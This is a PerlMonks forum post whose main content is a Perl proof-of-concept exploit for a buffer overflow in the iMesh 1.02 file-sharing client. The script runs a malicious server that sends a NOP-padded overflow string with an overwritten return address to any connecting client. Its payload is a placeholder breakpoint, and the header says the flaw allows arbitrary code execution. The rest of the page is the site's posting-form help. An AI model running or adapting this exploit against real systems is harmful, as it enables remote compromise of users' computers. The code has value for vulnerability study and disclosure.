#!/usr/bin/perl # # iMesh 1.02 vulnerability # Chopsui-cide[MmM] 2000 # http://midgets.box.sk/ # # ---------------------------------------------------------- # Disclaimer: this file is intended as proof of concept, and # is not intended to be used for illegal purposes. I accept # no responsibility for damage incurred by the use of it. # ---------------------------------------------------------- # # A buffer overflow exists in iMesh 1.02 that allows the execution # of arbitrary code. When the iMesh client connects to a server, # the server is able to exploit the vulnerability and execute # arbitrary code on the system the client is running on. # use IO::Socket; $localhost = "localhost"; $port = "5000"; # Dummy payload $payload = ""; $c = 0; while($c < 0x1aa) { $payload .= "\x90"; $c += 1; }; $payload .= "\xcc"; # raise exception 03h $es = ""; $c = 0; while($c < 0x2723) { $es .= "\x90"; $c += 1; }; $es .= "\x43\x04\x43\x00"; $c = 0; while($c < 12) { $es .= "\x90"; $c += 1; }; $es .= $payload; #print "$es"; $lsock = IO::Socket::INET->new(Proto=>"tcp", LocalHost=>$localhost, Lo +calPort=>$port, Listen=>1) || die "unable to create socket.\n"; print "waiting for connection on port $port..."; $accsock = $lsock->accept(); print "connected.\n"; print $accsock "$es"; sleep(5); close($accsock); close($lsock);

Edited by Petruchio Wed Aug 29 04:22:42 EDT 2001 - Added CODE tags.


In reply to imes bug by Anonymous Monk

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.